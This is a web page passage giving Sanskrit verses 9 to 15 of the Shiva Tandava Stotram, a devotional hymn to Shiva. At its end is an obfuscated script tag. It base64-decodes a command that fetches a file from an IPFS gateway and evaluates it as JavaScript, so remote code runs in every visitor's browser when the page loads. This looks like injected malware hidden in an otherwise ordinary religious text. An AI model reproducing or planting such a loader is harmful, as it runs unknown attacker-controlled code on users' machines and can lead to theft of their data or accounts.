स्मरच्छिदं पुरच्छिदं भवच्छिदं मखच्छिदं
गजच्छिदांधकछिदं तमंतक-च्छिदं भजे .. 9..

अखर्व सर्व-मङ्ग-लाकला-कदंबमञ्जरी
रस-प्रवाह-माधुरी विजृंभणा-मधुव्रतम्
स्मरान्तकं पुरान्तकं भवान्तकं मखान्तकं
गजान्त-कान्ध-कान्तकं तमन्तकान्तकं भजे .. 10..

जयत्व-दभ्र-विभ्र-म-भ्रमद्भुजङ्ग-मश्वस-
द्विनिर्गमत्क्रम-स्फुरत्कराल-भाल-हव्यवाट्
धिमिद्धिमिद्धिमिध्वनन्मृदङ्ग-तुङ्ग-मङ्गल
ध्वनि-क्रम-प्रवर्तित प्रचण्डताण्डवः शिवः .. 11..

दृष-द्विचित्र-तल्पयोर्भुजङ्ग-मौक्ति-कस्रजोर्
-गरिष्ठरत्नलोष्ठयोः सुहृद्वि-पक्षपक्षयोः
तृष्णार-विन्द-चक्षुषोः प्रजा-मही-महेन्द्रयोः
समप्रवृतिकः कदा सदाशिवं भजे .. 12..

कदा निलिम्प-निर्झरीनिकुञ्ज-कोटरे वसन्
विमुक्त-दुर्मतिः सदा शिरःस्थ-मञ्जलिं वहन् .
विमुक्त-लोल-लोचनो ललाम-भाललग्नकः
शिवेति मन्त्र-मुच्चरन् कदा सुखी भवाम्यहम् .. 13..

इदम् हि नित्य-मेव-मुक्तमुत्तमोत्तमं स्तवं
पठन्स्मरन्ब्रुवन्नरो विशुद्धि-मेति-संततम्
हरे गुरौ सुभक्ति-माशु याति नान्यथा गतिं
विमोहनं हि देहिनां सुशङ्करस्य चिंतनम् .. 14..

पूजावसानसमये दशवक्त्रगीतं यः
शंभुपूजनपरं पठति प्रदोषे
तस्य स्थिरां रथगजेन्द्रतुरङ्गयुक्तां
लक्ष्मीं सदैव सुमुखिं प्रददाति शंभुः .. 15..

वीथिका

अन्य लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>